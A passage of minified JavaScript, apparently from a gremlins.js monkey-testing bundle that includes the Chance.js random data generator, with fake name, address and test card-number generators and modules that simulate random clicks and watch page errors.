an\",\"Haynes\",\"McDaniel\",\"Mendez\",\"Bush\",\"Vaughn\",\"Parks\",\"Dawson\",\"Santiago\",\"Norris\",\"Hardy\",\"Love\",\"Steele\",\"Curry\",\"Powers\",\"Schultz\",\"Barker\",\"Guzman\",\"Page\",\"Munoz\",\"Ball\",\"Keller\",\"Chandler\",\"Weber\",\"Leonard\",\"Walsh\",\"Lyons\",\"Ramsey\",\"Wolfe\",\"Schneider\",\"Mullins\",\"Benson\",\"Sharp\",\"Bowen\",\"Daniel\",\"Barber\",\"Cummings\",\"Hines\",\"Baldwin\",\"Griffith\",\"Valdez\",\"Hubbard\",\"Salazar\",\"Reeves\",\"Warner\",\"Stevenson\",\"Burgess\",\"Santos\",\"Tate\",\"Cross\",\"Garner\",\"Mann\",\"Mack\",\"Moss\",\"Thornton\",\"Dennis\",\"McGee\",\"Farmer\",\"Delgado\",\"Aguilar\",\"Vega\",\"Glover\",\"Manning\",\"Cohen\",\"Harmon\",\"Rodgers\",\"Robbins\",\"Newton\",\"Todd\",\"Blair\",\"Higgins\",\"Ingram\",\"Reese\",\"Cannon\",\"Strickland\",\"Townsend\",\"Potter\",\"Goodwin\",\"Walton\",\"Rowe\",\"Hampton\",\"Ortega\",\"Patton\",\"Swanson\",\"Joseph\",\"Francis\",\"Goodman\",\"Maldonado\",\"Yates\",\"Becker\",\"Erickson\",\"Hodges\",\"Rios\",\"Conner\",\"Adkins\",\"Webster\",\"Norman\",\"Malone\",\"Hammond\",\"Flowers\",\"Cobb\",\"Moody\",\"Quinn\",\"Blake\",\"Maxwell\",\"Pope\",\"Floyd\",\"Osborne\",\"Paul\",\"McCarthy\",\"Guerrero\",\"Lindsey\",\"Estrada\",\"Sandoval\",\"Gibbs\",\"Tyler\",\"Gross\",\"Fitzgerald\",\"Stokes\",\"Doyle\",\"Sherman\",\"Saunders\",\"Wise\",\"Colon\",\"Gill\",\"Alvarado\",\"Greer\",\"Padilla\",\"Simon\",\"Waters\",\"Nunez\",\"Ballard\",\"Schwartz\",\"McBride\",\"Houston\",\"Christensen\",\"Klein\",\"Pratt\",\"Briggs\",\"Parsons\",\"McLaughlin\",\"Zimmerman\",\"French\",\"Buchanan\",\"Moran\",\"Copeland\",\"Roy\",\"Pittman\",\"Brady\",\"McCormick\",\"Holloway\",\"Brock\",\"Poole\",\"Frank\",\"Logan\",\"Owen\",\"Bass\",\"Marsh\",\"Drake\",\"Wong\",\"Jefferson\",\"Park\",\"Morton\",\"Abbott\",\"Sparks\",\"Patrick\",\"Norton\",\"Huff\",\"Clayton\",\"Massey\",\"Lloyd\",\"Figueroa\",\"Carson\",\"Bowers\",\"Roberson\",\"Barton\",\"Tran\",\"Lamb\",\"Harrington\",\"Casey\",\"Boone\",\"Cortez\",\"Clarke\",\"Mathis\",\"Singleton\",\"Wilkins\",\"Cain\",\"Bryan\",\"Underwood\",\"Hogan\",\"McKenzie\",\"Collier\",\"Luna\",\"Phelps\",\"McGuire\",\"Allison\",\"Bridges\",\"Wilkerson\",\"Nash\",\"Summers\",\"Atkins\"];h.prototype.last=function(){return this.pick(p)},h.prototype.name=function(e){e=r(e);var n,t=this.first(),a=this.last();return n=e.middle?t+\" \"+this.first()+\" \"+a:e.middle_initial?t+\" \"+this.character({alpha:!0,casing:\"upper\"})+\". \"+a:t+\" \"+a,e.prefix&&(n=this.prefix()+\" \"+n),n},h.prototype.name_prefixes=function(){return[{name:\"Doctor\",abbreviation:\"Dr.\"},{name:\"Miss\",abbreviation:\"Miss\"},{name:\"Misses\",abbreviation:\"Mrs.\"},{name:\"Mister\",abbreviation:\"Mr.\"}]},h.prototype.prefix=function(e){return this.name_prefix(e)},h.prototype.name_prefix=function(e){return e=r(e),e.full?this.pick(this.name_prefixes()).name:this.pick(this.name_prefixes()).abbreviation},h.prototype.color=function(e){function n(e,n){return[e,e,e].join(n||\"\")}e=r(e,{format:this.pick([\"hex\",\"shorthex\",\"rgb\"]),grayscale:!1});var t=e.grayscale;if(\"hex\"===e.format)return\"#\"+(t?n(this.hash({length:2})):this.hash({length:6}));if(\"shorthex\"===e.format)return\"#\"+(t?n(this.hash({length:1})):this.hash({length:3}));if(\"rgb\"===e.format)return t?\"rgb(\"+n(this.natural({max:255}),\",\")+\")\":\"rgb(\"+this.natural({max:255})+\",\"+this.natural({max:255})+\",\"+this.natural({max:255})+\")\";throw new Error(\'Invalid format provided. Please provide one of \"hex\", \"shorthex\", or \"rgb\"\')},h.prototype.domain=function(e){return e=r(e),this.word()+\".\"+(e.tld||this.tld())},h.prototype.email=function(e){return e=r(e),this.word()+\"@\"+(e.domain||this.domain())},h.prototype.fbid=function(){return parseInt(\"10000\"+this.natural({max:1e11}),10)},h.prototype.hashtag=function(){return\"#\"+this.word()},h.prototype.ip=function(){return this.natural({max:255})+\".\"+this.natural({max:255})+\".\"+this.natural({max:255})+\".\"+this.natural({max:255})},h.prototype.ipv6=function(){for(var e=\"\",n=0;8>n;n++)e+=this.hash({length:4})+\":\";return e.substr(0,e.length-1)},h.prototype.klout=function(){return this.natural({min:1,max:99})},h.prototype.tlds=function(){return[\"com\",\"org\",\"edu\",\"gov\",\"co.uk\",\"net\",\"io\"]},h.prototype.tld=function(){return this.pick(this.tlds())},h.prototype.twitter=function(){return\"@\"+this.word()},h.prototype.address=function(e){return e=r(e),this.natural({min:5,max:2e3})+\" \"+this.street(e)},h.prototype.areacode=function(e){e=r(e,{parens:!0});var n=this.natural({min:2,max:9}).toString()+this.natural({min:0,max:8}).toString()+this.natural({min:0,max:9}).toString();return e.parens?\"(\"+n+\")\":n},h.prototype.city=function(){return this.capitalize(this.word({syllables:3}))},h.prototype.coordinates=function(e){return e=r(e),this.latitude(e)+\", \"+this.longitude(e)},h.prototype.latitude=function(e){return e=r(e,{fixed:5}),this.floating({min:-90,max:90,fixed:e.fixed})},h.prototype.longitude=function(e){return e=r(e,{fixed:5}),this.floating({min:0,max:180,fixed:e.fixed})},h.prototype.phone=function(e){e=r(e,{formatted:!0}),e.formatted||(e.parens=!1);var n=this.areacode(e).toString(),t=this.natural({min:2,max:9}).toString()+this.natural({min:0,max:9}).toString()+this.natural({min:0,max:9}).toString(),a=this.natural({min:1e3,max:9999}).toString();return e.formatted?n+\" \"+t+\"-\"+a:n+t+a},h.prototype.postal=function(){var e=this.character({pool:\"XVTSRPNKLMHJGECBA\"}),n=e+this.natural({max:9})+this.character({alpha:!0,casing:\"upper\"}),t=this.natural({max:9})+this.character({alpha:!0,casing:\"upper\"})+this.natural({max:9});return n+\" \"+t},h.prototype.provinces=function(){return[{name:\"Alberta\",abbreviation:\"AB\"},{name:\"British Columbia\",abbreviation:\"BC\"},{name:\"Manitoba\",abbreviation:\"MB\"},{name:\"New Brunswick\",abbreviation:\"NB\"},{name:\"Newfoundland and Labrador\",abbreviation:\"NL\"},{name:\"Nova Scotia\",abbreviation:\"NS\"},{name:\"Ontario\",abbreviation:\"ON\"},{name:\"Prince Edward Island\",abbreviation:\"PE\"},{name:\"Quebec\",abbreviation:\"QC\"},{name:\"Saskatchewan\",abbreviation:\"SK\"},{name:\"Northwest Territories\",abbreviation:\"NT\"},{name:\"Nunavut\",abbreviation:\"NU\"},{name:\"Yukon\",abbreviation:\"YT\"}]},h.prototype.province=function(e){return e&&e.full?this.pick(this.provinces()).name:this.pick(this.provinces()).abbreviation},h.prototype.radio=function(e){e=r(e,{side:\"?\"});var n=\"\";switch(e.side.toLowerCase()){case\"east\":case\"e\":n=\"W\";break;case\"west\":case\"w\":n=\"K\";break;default:n=this.character({pool:\"KW\"})}return n+this.character({alpha:!0,casing:\"upper\"})+this.character({alpha:!0,casing:\"upper\"})+this.character({alpha:!0,casing:\"upper\"})},h.prototype.state=function(e){return e&&e.full?this.pick(this.states()).name:this.pick(this.states()).abbreviation},h.prototype.states=function(){return[{name:\"Alabama\",abbreviation:\"AL\"},{name:\"Alaska\",abbreviation:\"AK\"},{name:\"American Samoa\",abbreviation:\"AS\"},{name:\"Arizona\",abbreviation:\"AZ\"},{name:\"Arkansas\",abbreviation:\"AR\"},{name:\"Armed Forces Europe\",abbreviation:\"AE\"},{name:\"Armed Forces Pacific\",abbreviation:\"AP\"},{name:\"Armed Forces the Americas\",abbreviation:\"AA\"},{name:\"California\",abbreviation:\"CA\"},{name:\"Colorado\",abbreviation:\"CO\"},{name:\"Connecticut\",abbreviation:\"CT\"},{name:\"Delaware\",abbreviation:\"DE\"},{name:\"District of Columbia\",abbreviation:\"DC\"},{name:\"Federated States of Micronesia\",abbreviation:\"FM\"},{name:\"Florida\",abbreviation:\"FL\"},{name:\"Georgia\",abbreviation:\"GA\"},{name:\"Guam\",abbreviation:\"GU\"},{name:\"Hawaii\",abbreviation:\"HI\"},{name:\"Idaho\",abbreviation:\"ID\"},{name:\"Illinois\",abbreviation:\"IL\"},{name:\"Indiana\",abbreviation:\"IN\"},{name:\"Iowa\",abbreviation:\"IA\"},{name:\"Kansas\",abbreviation:\"KS\"},{name:\"Kentucky\",abbreviation:\"KY\"},{name:\"Louisiana\",abbreviation:\"LA\"},{name:\"Maine\",abbreviation:\"ME\"},{name:\"Marshall Islands\",abbreviation:\"MH\"},{name:\"Maryland\",abbreviation:\"MD\"},{name:\"Massachusetts\",abbreviation:\"MA\"},{name:\"Michigan\",abbreviation:\"MI\"},{name:\"Minnesota\",abbreviation:\"MN\"},{name:\"Mississippi\",abbreviation:\"MS\"},{name:\"Missouri\",abbreviation:\"MO\"},{name:\"Montana\",abbreviation:\"MT\"},{name:\"Nebraska\",abbreviation:\"NE\"},{name:\"Nevada\",abbreviation:\"NV\"},{name:\"New Hampshire\",abbreviation:\"NH\"},{name:\"New Jersey\",abbreviation:\"NJ\"},{name:\"New Mexico\",abbreviation:\"NM\"},{name:\"New York\",abbreviation:\"NY\"},{name:\"North Carolina\",abbreviation:\"NC\"},{name:\"North Dakota\",abbreviation:\"ND\"},{name:\"Northern Mariana Islands\",abbreviation:\"MP\"},{name:\"Ohio\",abbreviation:\"OH\"},{name:\"Oklahoma\",abbreviation:\"OK\"},{name:\"Oregon\",abbreviation:\"OR\"},{name:\"Pennsylvania\",abbreviation:\"PA\"},{name:\"Puerto Rico\",abbreviation:\"PR\"},{name:\"Rhode Island\",abbreviation:\"RI\"},{name:\"South Carolina\",abbreviation:\"SC\"},{name:\"South Dakota\",abbreviation:\"SD\"},{name:\"Tennessee\",abbreviation:\"TN\"},{name:\"Texas\",abbreviation:\"TX\"},{name:\"Utah\",abbreviation:\"UT\"},{name:\"Vermont\",abbreviation:\"VT\"},{name:\"Virgin Islands, U.S.\",abbreviation:\"VI\"},{name:\"Virginia\",abbreviation:\"VA\"},{name:\"Washington\",abbreviation:\"WA\"},{name:\"West Virginia\",abbreviation:\"WV\"},{name:\"Wisconsin\",abbreviation:\"WI\"},{name:\"Wyoming\",abbreviation:\"WY\"}]},h.prototype.street=function(e){e=r(e);var n=this.word({syllables:2});return n=this.capitalize(n),n+=\" \",n+=e.short_suffix?this.street_suffix().abbreviation:this.street_suffix().name},h.prototype.street_suffix=function(){return this.pick(this.street_suffixes())},h.prototype.street_suffixes=function(){return[{name:\"Avenue\",abbreviation:\"Ave\"},{name:\"Boulevard\",abbreviation:\"Blvd\"},{name:\"Center\",abbreviation:\"Ctr\"},{name:\"Circle\",abbreviation:\"Cir\"},{name:\"Court\",abbreviation:\"Ct\"},{name:\"Drive\",abbreviation:\"Dr\"},{name:\"Extension\",abbreviation:\"Ext\"},{name:\"Glen\",abbreviation:\"Gln\"},{name:\"Grove\",abbreviation:\"Grv\"},{name:\"Heights\",abbreviation:\"Hts\"},{name:\"Highway\",abbreviation:\"Hwy\"},{name:\"Junction\",abbreviation:\"Jct\"},{name:\"Key\",abbreviation:\"Key\"},{name:\"Lane\",abbreviation:\"Ln\"},{name:\"Loop\",abbreviation:\"Loop\"},{name:\"Manor\",abbreviation:\"Mnr\"},{name:\"Mill\",abbreviation:\"Mill\"},{name:\"Park\",abbreviation:\"Park\"},{name:\"Parkway\",abbreviation:\"Pkwy\"},{name:\"Pass\",abbreviation:\"Pass\"},{name:\"Path\",abbreviation:\"Path\"},{name:\"Pike\",abbreviation:\"Pike\"},{name:\"Place\",abbreviation:\"Pl\"},{name:\"Plaza\",abbreviation:\"Plz\"},{name:\"Point\",abbreviation:\"Pt\"},{name:\"Ridge\",abbreviation:\"Rdg\"},{name:\"River\",abbreviation:\"Riv\"},{name:\"Road\",abbreviation:\"Rd\"},{name:\"Square\",abbreviation:\"Sq\"},{name:\"Street\",abbreviation:\"St\"},{name:\"Terrace\",abbreviation:\"Ter\"},{name:\"Trail\",abbreviation:\"Trl\"},{name:\"Turnpike\",abbreviation:\"Tpke\"},{name:\"View\",abbreviation:\"Vw\"},{name:\"Way\",abbreviation:\"Way\"}]},h.prototype.tv=function(e){return this.radio(e)},h.prototype.zip=function(e){for(var n=\"\",t=0;5>t;t++)n+=this.natural({max:9}).toString();if(e&&e.plusfour===!0)for(n+=\"-\",t=0;4>t;t++)n+=this.natural({max:9}).toString();return n},h.prototype.ampm=function(){return this.bool()?\"am\":\"pm\"},h.prototype.date=function(e){var n,t=this.month({raw:!0});e=r(e,{year:parseInt(this.year(),10),month:t.numeric-1,day:this.natural({min:1,max:t.days}),hour:this.hour(),minute:this.minute(),second:this.second(),millisecond:this.millisecond(),american:!0,string:!1});var a=new Date(e.year,e.month,e.day,e.hour,e.minute,e.second,e.millisecond);return n=e.american?a.getMonth()+1+\"/\"+a.getDate()+\"/\"+a.getFullYear():a.getDate()+\"/\"+(a.getMonth()+1)+\"/\"+a.getFullYear(),e.string?n:a},h.prototype.hammertime=function(e){return this.date(e).getTime()},h.prototype.hour=function(e){e=r(e);var n=e.twentyfour?24:12;return this.natural({min:1,max:n})},h.prototype.millisecond=function(){return this.natural({max:999})},h.prototype.minute=h.prototype.second=function(){return this.natural({max:59})},h.prototype.month=function(e){e=r(e);var n=this.pick(this.months());return e.raw?n:n.name},h.prototype.months=function(){return[{name:\"January\",short_name:\"Jan\",numeric:\"01\",days:31},{name:\"February\",short_name:\"Feb\",numeric:\"02\",days:28},{name:\"March\",short_name:\"Mar\",numeric:\"03\",days:31},{name:\"April\",short_name:\"Apr\",numeric:\"04\",days:30},{name:\"May\",short_name:\"May\",numeric:\"05\",days:31},{name:\"June\",short_name:\"Jun\",numeric:\"06\",days:30},{name:\"July\",short_name:\"Jul\",numeric:\"07\",days:31},{name:\"August\",short_name:\"Aug\",numeric:\"08\",days:31},{name:\"September\",short_name:\"Sep\",numeric:\"09\",days:30},{name:\"October\",short_name:\"Oct\",numeric:\"10\",days:31},{name:\"November\",short_name:\"Nov\",numeric:\"11\",days:30},{name:\"December\",short_name:\"Dec\",numeric:\"12\",days:31}]},h.prototype.second=function(){return this.natural({max:59})},h.prototype.timestamp=function(){return this.natural({min:1,max:parseInt((new Date).getTime()/1e3,10)})},h.prototype.year=function(e){return e=r(e,{min:(new Date).getFullYear()}),e.max=\"undefined\"!=typeof e.max?e.max:e.min+100,this.natural(e).toString()},h.prototype.cc=function(e){e=r(e);var n,t,a;n=this.cc_type(e.type?{name:e.type,raw:!0}:{raw:!0}),t=n.prefix.split(\"\"),a=n.length-n.prefix.length-1;for(var i=0;a>i;i++)t.push(this.integer({min:0,max:9}));return t.push(this.luhn_calculate(t.join(\"\"))),t.join(\"\")},h.prototype.cc_types=function(){return[{name:\"American Express\",short_name:\"amex\",prefix:\"34\",length:15},{name:\"Bankcard\",short_name:\"bankcard\",prefix:\"5610\",length:16},{name:\"China UnionPay\",short_name:\"chinaunion\",prefix:\"62\",length:16},{name:\"Diners Club Carte Blanche\",short_name:\"dccarte\",prefix:\"300\",length:14},{name:\"Diners Club enRoute\",short_name:\"dcenroute\",prefix:\"2014\",length:15},{name:\"Diners Club International\",short_name:\"dcintl\",prefix:\"36\",length:14},{name:\"Diners Club United States & Canada\",short_name:\"dcusc\",prefix:\"54\",length:16},{name:\"Discover Card\",short_name:\"discover\",prefix:\"6011\",length:16},{name:\"InstaPayment\",short_name:\"instapay\",prefix:\"637\",length:16},{name:\"JCB\",short_name:\"jcb\",prefix:\"3528\",length:16},{name:\"Laser\",short_name:\"laser\",prefix:\"6304\",length:16},{name:\"Maestro\",short_name:\"maestro\",prefix:\"5018\",length:16},{name:\"Mastercard\",short_name:\"mc\",prefix:\"51\",length:16},{name:\"Solo\",short_name:\"solo\",prefix:\"6334\",length:16},{name:\"Switch\",short_name:\"switch\",prefix:\"4903\",length:16},{name:\"Visa\",short_name:\"visa\",prefix:\"4\",length:16},{name:\"Visa Electron\",short_name:\"electron\",prefix:\"4026\",length:16}]},h.prototype.cc_type=function(e){e=r(e);var n=this.cc_types(),t=null;if(e.name){for(var a=0;a<n.length;a++)if(n[a].name===e.name||n[a].short_name===e.name){t=n[a];break}if(null===t)throw new Error(\"Credit card type \'\"+e.name+\"\'\' is not suppoted\")}else t=this.pick(n);return e.raw?t:t.name},h.prototype.dollar=function(e){e=r(e,{max:1e4,min:0});var n=this.floating({min:e.min,max:e.max,fixed:2}).toString(),t=n.split(\".\")[1];return void 0===t?n+=\".00\":t.length<2&&(n+=\"0\"),0>n?\"-$\"+n.replace(\"-\",\"\"):\"$\"+n},h.prototype.exp=function(e){e=r(e);var n={};return n.year=this.exp_year(),n.year===(new Date).getFullYear()?n.month=this.exp_month({future:!0}):n.month=this.exp_month(),e.raw?n:n.month+\"/\"+n.year},h.prototype.exp_month=function(e){e=r(e);var n,t;if(e.future){do n=this.month({raw:!0}).numeric,t=parseInt(n,10);while(t<(new Date).getMonth())}else n=this.month({raw:!0}).numeric;return n},h.prototype.exp_year=function(){return this.year({max:(new Date).getFullYear()+10})},h.prototype.d4=function(){return this.natural({min:1,max:4})},h.prototype.d6=function(){return this.natural({min:1,max:6})},h.prototype.d8=function(){return this.natural({min:1,max:8})},h.prototype.d10=function(){return this.natural({min:1,max:10})},h.prototype.d12=function(){return this.natural({min:1,max:12})},h.prototype.d20=function(){return this.natural({min:1,max:20})},h.prototype.d30=function(){return this.natural({min:1,max:30})},h.prototype.d100=function(){return this.natural({min:1,max:100})},h.prototype.rpg=function(e,n){if(n=r(n),null===e)throw new Error(\"A type of die roll must be included\");var t=e.toLowerCase().split(\"d\"),a=[];if(2!==t.length||!parseInt(t[0],10)||!parseInt(t[1],10))throw new Error(\"Invalid format provided. Please provide #d# where the first # is the number of dice to roll, the second # is the max of each die\");for(var i=t[0];i>0;i--)a[i-1]=this.natural({min:1,max:t[1]});return\"undefined\"!=typeof n.sum&&n.sum?a.reduce(function(e,n){return e+n}):a},h.prototype.guid=function(e){e=e||{version:5};var n=\"ABCDEF1234567890\",t=\"AB89\",a=this.string({pool:n,length:8})+\"-\"+this.string({pool:n,length:4})+\"-\"+e.version+this.string({pool:n,length:3})+\"-\"+this.string({pool:t,length:1})+this.string({pool:n,length:3})+\"-\"+this.string({pool:n,length:12});return a},h.prototype.hash=function(e){e=r(e,{length:40,casing:\"lower\"});var n=\"upper\"===e.casing?m.toUpperCase():m;return this.string({pool:n,length:e.length})},h.prototype.luhn_check=function(e){var n=e.toString(),t=+n.substring(n.length-1);return t===this.luhn_calculate(+n.substring(0,n.length-1))},h.prototype.luhn_calculate=function(e){for(var n=e.toString().split(\"\").reverse(),t=0,a=0,r=n.length;r>a;++a){var i=+n[a];a%2===0&&(i*=2,i>9&&(i-=9)),t+=i}return 9*t%10},h.prototype.mersenne_twister=function(e){return new f(e)},h.prototype.VERSION=\"0.5.4\";var f=function(e){void 0===e&&(e=(new Date).getTime()),this.N=624,this.M=397,this.MATRIX_A=2567483615,this.UPPER_MASK=2147483648,this.LOWER_MASK=2147483647,this.mt=new Array(this.N),this.mti=this.N+1,this.init_genrand(e)};f.prototype.init_genrand=function(e){for(this.mt[0]=e>>>0,this.mti=1;this.mti<this.N;this.mti++)e=this.mt[this.mti-1]^this.mt[this.mti-1]>>>30,this.mt[this.mti]=(1812433253*((4294901760&e)>>>16)<<16)+1812433253*(65535&e)+this.mti,this.mt[this.mti]>>>=0},f.prototype.init_by_array=function(e,n){var t,a,r=1,i=0;for(this.init_genrand(19650218),t=this.N>n?this.N:n;t;t--)a=this.mt[r-1]^this.mt[r-1]>>>30,this.mt[r]=(this.mt[r]^(1664525*((4294901760&a)>>>16)<<16)+1664525*(65535&a))+e[i]+i,this.mt[r]>>>=0,r++,i++,r>=this.N&&(this.mt[0]=this.mt[this.N-1],r=1),i>=n&&(i=0);for(t=this.N-1;t;t--)a=this.mt[r-1]^this.mt[r-1]>>>30,this.mt[r]=(this.mt[r]^(1566083941*((4294901760&a)>>>16)<<16)+1566083941*(65535&a))-r,this.mt[r]>>>=0,r++,r>=this.N&&(this.mt[0]=this.mt[this.N-1],r=1);this.mt[0]=2147483648},f.prototype.genrand_int32=function(){var e,n=new Array(0,this.MATRIX_A);if(this.mti>=this.N){var t;for(this.mti===this.N+1&&this.init_genrand(5489),t=0;t<this.N-this.M;t++)e=this.mt[t]&this.UPPER_MASK|this.mt[t+1]&this.LOWER_MASK,this.mt[t]=this.mt[t+this.M]^e>>>1^n[1&e];for(;t<this.N-1;t++)e=this.mt[t]&this.UPPER_MASK|this.mt[t+1]&this.LOWER_MASK,this.mt[t]=this.mt[t+(this.M-this.N)]^e>>>1^n[1&e];e=this.mt[this.N-1]&this.UPPER_MASK|this.mt[0]&this.LOWER_MASK,this.mt[this.N-1]=this.mt[this.M-1]^e>>>1^n[1&e],this.mti=0}return e=this.mt[this.mti++],e^=e>>>11,e^=e<<7&2636928640,e^=e<<15&4022730752,e^=e>>>18,e>>>0},f.prototype.genrand_int31=function(){return this.genrand_int32()>>>1},f.prototype.genrand_real1=function(){return this.genrand_int32()*(1/4294967295)},f.prototype.random=function(){return this.genrand_int32()*(1/4294967296)},f.prototype.genrand_real3=function(){return(this.genrand_int32()+.5)*(1/4294967296)},f.prototype.genrand_res53=function(){var e=this.genrand_int32()>>>5,n=this.genrand_int32()>>>6;return(67108864*e+n)*(1/9007199254740992)},\"undefined\"!=typeof e&&e.exports&&(n=e.exports=h),n.Chance=h,a=function(){return h}.call(n,t,n,e),!(void 0!==a&&(e.exports=a)),\"object\"==typeof window&&\"object\"==typeof window.document&&(window.Chance=h,window.chance=new h)}()},function(e,n,t){var a;a=function(e){\"use strict\";function n(){this.message=\"This gremlin requires a randomizer to run. Please call randomizer(randomizerObject) before executing the gremlin\",this.toString=function(){return this.message}}return n}.call(n,t,n,e),!(void 0!==a&&(e.exports=a))},function(e,n,t){var a;a=function(e){\"use strict\";function n(e,n,t,a){var r=n.length;e=e.slice(0);var i=function(e,n){if(!e.length)return\"function\"==typeof a?a():!0;var o=e.shift();o.apply(t,n),o.length===r&&i(e,n,a)};n.push(function(){i(e,n,a)}),i(e,n,a)}return n}.call(n,t,n,e),!(void 0!==a&&(e.exports=a))},function(e,n,t){var a;a=function(e){\"use strict\";function n(){this.message=\"This mogwai requires a logger to run. Please call logger(loggerObject) before executing the mogwai\",this.toString=function(){return this.message}}return n}.call(n,t,n,e),!(void 0!==a&&(e.exports=a))},function(e,n,t){var a;a=function(e){\"use strict\";function n(e,n){for(var t=0,a=n.length;a>t;t++)for(var r in e)\"function\"!=typeof n[t][r]||n[t][r]()||n[t][r](e[r])}var a=t(2),r={species:{clicker:t(10),toucher:t(13),formFiller:t(11),scroller:t(12),typer:t(14)},mogwais:{alert:t(7),fps:t(8),gizmo:t(9)},strategies:{allTogether:t(15),bySpecies:t(16),distribution:t(17)}},i=t(4),o=function(){this._gremlins=[],\nthis._mogwais=[],this._strategies=[],this._beforeCallbacks=[],this._afterCallbacks=[],this._logger=console,this._randomizer=new a};return o.prototype.gremlin=function(e){return this._gremlins.push(e),this},o.prototype.allGremlins=function(){for(var e in r.species)this.gremlin(r.species[e]());return this},o.prototype.mogwai=function(e){return this._mogwais.push(e),this},o.prototype.allMogwais=function(){for(var e in r.mogwais)this.mogwai(r.mogwais[e]());return this},o.prototype.strategy=function(e){return this._strategies.push(e),this},o.prototype.before=function(e){return this._beforeCallbacks.push(e),this},o.prototype.after=function(e){return this._afterCallbacks.push(e),this},o.prototype.logger=function(e){return arguments.length?(this._logger=e,this):this._logger},o.prototype.log=function(e){this._logger.log(e)},o.prototype.randomizer=function(e){return arguments.length?(this._randomizer=e,this):this._randomizer},o.prototype.seed=function(e){return this._randomizer=new a(e),this},o.prototype.unleash=function(e,t){0===this._gremlins.length&&this.allGremlins(),0===this._mogwais.length&&this.allMogwais(),0===this._strategies.length&&this.strategy(r.strategies.distribution());var a=[].concat(this._gremlins,this._mogwais),o=a.concat(this._strategies,this._beforeCallbacks,this._afterCallbacks);n({logger:this._logger,randomizer:this._randomizer},o);var s=this._beforeCallbacks;s=s.concat(this._mogwais);for(var l=this._afterCallbacks,u=0,c=a.length;c>u;u++)\"function\"==typeof a[u].cleanUp&&l.push(a[u].cleanUp);var m=this;i(s,[],m,function(){i(m._strategies,[m._gremlins,e],m,function(){i(l,[],m,function(){\"function\"==typeof t&&t()})})})},o.prototype.stop=function(){for(var e=this._strategies,n=0,t=e.length;t>n;n++)e[n].stop()},r.createHorde=function(){return new o},window&&(window.gremlins=r),r}.call(n,t,n,e),!(void 0!==a&&(e.exports=a))},function(e,n,t){var a;a=function(e){\"use strict\";var n=t(1),a=(t(2),t(5));return function(){function e(){return o.randomizer.bool()}function t(){return o.randomizer.sentence()}function r(){if(!o.logger)throw new a;-1!==o.watchEvents.indexOf(\"alert\")&&(window.alert=function(e){o.logger.warn(\"mogwai \",\"alert     \",e,\"alert\")}),-1!==o.watchEvents.indexOf(\"confirm\")&&(window.confirm=function(e){o.confirmResponse(),o.logger.warn(\"mogwai \",\"alert     \",e,\"confirm\")}),-1!==o.watchEvents.indexOf(\"prompt\")&&(window.prompt=function(e){o.promptResponse(),o.logger.warn(\"mogwai \",\"alert     \",e,\"prompt\")})}var i=[\"alert\",\"confirm\",\"prompt\"],o={watchEvents:i,confirmResponse:e,promptResponse:t,logger:null,randomizer:null},s=window.alert,l=window.confirm,u=window.prompt;return r.cleanUp=function(){return window.alert=s,window.confirm=l,window.prompt=u,r},n(r,o),r}}.call(n,t,n,e),!(void 0!==a&&(e.exports=a))},function(e,n,t){var a;a=function(e){\"use strict\";var n=t(1),a=t(5);return function(){function e(e){return 10>e?\"error\":20>e?\"warn\":\"log\"}function t(e){e-l>s.delay&&(r(e),l=e),o&&window.requestAnimationFrame(t)}function r(){function e(e){t=e,window.requestAnimationFrame(n)}function n(e){var n=16>e-t?60:1e3/(e-t),a=s.levelSelector(n);s.logger[a](\"mogwai \",\"fps       \",n)}var t;window.requestAnimationFrame(e)}function i(){if(!s.logger)throw new a;o=!0,window.requestAnimationFrame(t)}window.requestAnimationFrame||(window.requestAnimationFrame=window.mozRequestAnimationFrame||window.webkitRequestAnimationFrame||window.msRequestAnimationFrame||function(e){window.setTimeout(e,1e3/60)});var o,s={delay:500,levelSelector:e,logger:null},l=-(1/0);return i.cleanUp=function(){return o=!1,i},n(i,s),i}}.call(n,t,n,e),!(void 0!==a&&(e.exports=a))},function(e,n,t){var a;a=function(e){\"use strict\";var n=t(1);return function(){function e(){function e(){if(n++,n==r.maxErrors){if(i.stop(),!r.logger)return;window.setTimeout(function(){r.logger.warn(\"mogwai \",\"gizmo     \",\"stopped test execution after \",r.maxErrors,\"errors\")},4)}}var n=0,i=this;t=window.onerror,window.onerror=function(n,a,r){return e(),t?t(n,a,r):!1},a=console.error,console.error=function(){e(),a.apply(console,arguments)}}var t,a,r={maxErrors:10,logger:null};return e.cleanUp=function(){return window.onerror=t,console.error=a.bind(console),e},n(e,r),e}}.call(n,t,n,e),!(void 0!==a&&(e.exports=a))},function(e,n,t){var a;a=function(e){\"use strict\";var n=t(1),a=(t(2),t(3));return function(){function e(){return[u.randomizer.natural({max:o.documentElement.clientWidth-1}),u.randomizer.natural({max:o.documentElement.clientHeight-1})]}function t(e,n){var t=o.createElement(\"div\");t.style.zIndex=2e3,t.style.border=\"3px solid red\",t.style[\"border-radius\"]=\"50%\",t.style.borderRadius=\"50%\",t.style.width=\"40px\",t.style.height=\"40px\",t.style[\"box-sizing\"]=\"border-box\",t.style.position=\"absolute\",t.style.webkitTransition=\"opacity 1s ease-out\",t.style.mozTransition=\"opacity 1s ease-out\",t.style.transition=\"opacity 1s ease-out\",t.style.left=e-20+\"px\",t.style.top=n-20+\"px\";var a=s.appendChild(t);setTimeout(function(){s.removeChild(a)},1e3),setTimeout(function(){a.style.opacity=0},50)}function r(){return!0}function i(){if(!u.randomizer)throw new a;var e,n,t,r,i=0;do if(e=u.positionSelector(),n=e[0],t=e[1],r=o.elementFromPoint(n,t),i++,i>u.maxNbTries)return!1;while(!r||!u.canClick(r));var s=o.createEvent(\"MouseEvents\"),l=u.randomizer.pick(u.clickTypes);s.initMouseEvent(l,!0,!0,window,0,0,0,n,t,!1,!1,!1,!1,0,null),r.dispatchEvent(s),\"function\"==typeof u.showAction&&u.showAction(n,t,l),u.logger&&\"function\"==typeof u.logger.log&&u.logger.log(\"gremlin\",\"clicker   \",l,\"at\",n,t)}var o=window.document,s=o.body,l=[\"click\",\"click\",\"click\",\"click\",\"click\",\"click\",\"dblclick\",\"dblclick\",\"mousedown\",\"mouseup\",\"mouseover\",\"mouseover\",\"mouseover\",\"mousemove\",\"mouseout\"],u={clickTypes:l,positionSelector:e,showAction:t,canClick:r,maxNbTries:10,logger:null,randomizer:null};return n(i,u),i}}.call(n,t,n,e),!(void 0!==a&&(e.exports=a))},function(e,n,t){var a;a=function(e){\"use strict\";var n=t(1),a=(t(2),t(3));return function(){function e(e){\"undefined\"==typeof e.attributes[\"data-old-border\"]&&(e.attributes[\"data-old-border\"]=e.style.border);var 